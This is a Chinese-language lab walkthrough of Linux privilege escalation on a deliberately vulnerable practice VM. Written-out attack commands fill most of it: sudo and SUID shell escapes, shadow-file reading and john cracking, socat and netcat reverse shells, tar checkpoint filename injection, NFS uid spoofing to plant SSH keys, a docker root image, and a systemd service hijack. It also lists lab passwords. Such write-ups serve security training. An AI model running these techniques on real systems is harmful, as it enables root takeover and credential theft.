基础配置
假如没有权限修改的话请完成任意一个提权操作之后进行提权修改。
用户名密码:bob/secret
#安装与配置
1.修改默认键盘布局[默认不是美式键盘]
sudo awk 'BEGIN {system("/bin/sh")}'
[修改前\"符号是shift+2]
vim /etc/default/keyboard
[将XKBLAYOUT改的值为us]
setupcon
2.配置网卡[Ubuntu 18通过netplan设置网络]
vim /etc/netplan/50-cloud-init.yaml
[将enp0s3改为ens33]
netplan apply
sudo 提权
sudo权限简介
sudo权限则是root把本来只能超级用户执行的命令赋予普通用户执行,这里的命令指的是系统命令,对于linux来说一切皆是文件,所以系统命令也是一个文件。
sudo提权步骤
- 查看支持root权限的命令:
- 可以发现当前的用户bob存在很多支持sudo权限的命令,利用这些命令可以简单直接提升到root权限。如:
/bin/ash,/bin/bash,/bin/sh
等,由于支持的命令太多了,这里就只利用/bin/ash,/bin/bash,/bin/sh
命令进行提权演示。
- 获取密码进行提权
用户密码哈希存储在/etc/shadow文件中,但是这个文件只能由root用户进行查看,普通用户不能查看。
普通用户能查看的是/etc/passwd文件,该文件的第二列即为当前行用户的密码,如果是x的话就表明该行密码哈希存储在/etc/passwd中。
查看/etc/passwd文件
- 发现由一个root权限的insecurity账户的密码存储在与/etc/passwd中,所以我们需要进行解密,解密网站是https://www.somd5.com
- 根据账号密码进行登录,发现登录成功,并且是root权限的。需要注意的是如果前期没有配置键盘,在输入@符号的时候,需要注意的是,键盘上的@符号输入到靶场中是否是真的@符号,我自己是输入Enter这边这个
'"
键时才是@符号。
- 此时是roor权限,我们可以查看/etc/shadow
- 当然还能通过
sudo man /etc/shadow
来进行查看/etc/shadow
- 还可以通过
taskset 1 /bin/bash -p
之后查看/etc/shadow
对于这些密码,我们可以使用john命令进行爆破密码。
socat提权
socat提权步骤
- 首先需要建立一个端口的shell
sudo socat tcp-listen:2022,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
- 然后监听前面建立的端口
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:2022
- 可以成功提权成功。
敏感隐藏文件
隐藏文件提权步骤
- find查找所有隐藏文件
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
- 发现有存在一个疑似密码的文件
/home/susan/.secret
,进行查看,发现是一个susan用户的密码MySuperS3cretValue!
- 登录之后,发现很可惜,不是root权限的用户,但是下面会用到。
crontab定时任务
crontab定时任务提权步骤
- 查看定时任务
cat /etc/crontab
- kali上使用msfvenom生成payload
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.152 lport=6666 R
- 生成的payload是
mkfifo /tmp/sjvuom; nc 127.0.0.1 6666 0</tmp/sjvuom | /bin/sh >/tmp/sjvuom 2>&1; rm /tmp/sjvuom
- 注意:其中的lhost、lport并不是kali的ip地址和端口,而是靶场的ip地址和端口。
- 在靶机中将运行生成的payload写入到shell.sh中并且赋予执行的权限
echo "mkfifo /tmp/sjvuom; nc 127.0.0.1 6666 0</tmp/sjvuom | /bin/sh >/tmp/sjvuom 2>&1; rm /tmp/sjvuom" > shell.sh && chmod +x shell.sh`
- 还需要生成
--checkpoint-action=exec=sh shell.sh
和--checkpoint=1
文件
#--checkpoint-action选项:用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
- 在靶机监听6666端口,经过一段的时间等待过后,成功得到了反弹的shell
nv -lvvp 6666
SUID提权
SUID提权简介
SUID:是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限。
SUID提权步骤
- 使用find命令快速查找所有suid文件
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
- 发现存在xxd。xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式,当suid和执行权限一起使用将会造成提权。
- 查看所示组的用户
cat /etc/group | grep itservices
,发现所属组的用户是susan
- 结合第四点得到的susan密码,进行登录,查看当前的权限,并且尝试能否直接读取/etc/shadow这个只能由root权限读取的文件,发现读取失败。
- 使用xxd命令进行查看/etc/shdow文件,可以发现查看成功
NFS服务低权限访问
NFS服务低权限访问步骤
- 使用nmap工具扫描靶场ip
nmap 192.168.1.152 -sT -T4
,发现存在nfs端口,nfs服务允许计算机之间通过tcp/ip网络共享资源,就像访问本地文件一样。
- 查看可以访问的nfs目录
- 挂载peter home目录
- 在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005。
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
- 切换用户,此时我们有了写入文件的权限
一直复制以下命令即可,一直按回车
#[攻击机]ssh-keygen生成公私钥对
ssh-keygen
#创建.ssh目录
peter@kali:/mnt/peter$ mkdir .ssh
#传输public key
peter@kali:/mnt/peter$ cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys
#设置权限
peter@kali:/mnt/peter/ chmod 700 ../.ssh/
peter@kali:/mnt/peter/.ssh$ chmod 600 authorized_keys
- docker组提权
查看当前的peter组,发现是docker组
查看docker版本,发现是18.03.1的,该版本存在提权漏洞
注意:最下面的那条命令执行后需要一定的下载时间
docker --version
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
- systemd配置提权
查看peter用户的systemd配置,发现peter这个用户拥有debug.service文件,发现拥有读写权限。
- 查看debug.service文件。
- ExecStart为/root/debug,这是一个二进制服务并且该服务以root身份运行。
使用一个类似ssh可以sudo执行的方法。 让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限。
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
不知道哪里出错了,这条语句执行完之后就提示没有权限,然后换成在kali里面用ssh连接之后再执行该命令就可以了
- 修改debug.service文件ExecStart来调用我们的脚本。
- 重启服务,允许上面生成的脚本
./systemdbash -p
,发现提权成功
- 还可以直接通过ssh登录root用户
peter@linsecurity:~$ echo -e '#!/bin/bash \ncp /home/peter/.ssh/* /root/.ssh/' > systemdexpl.sh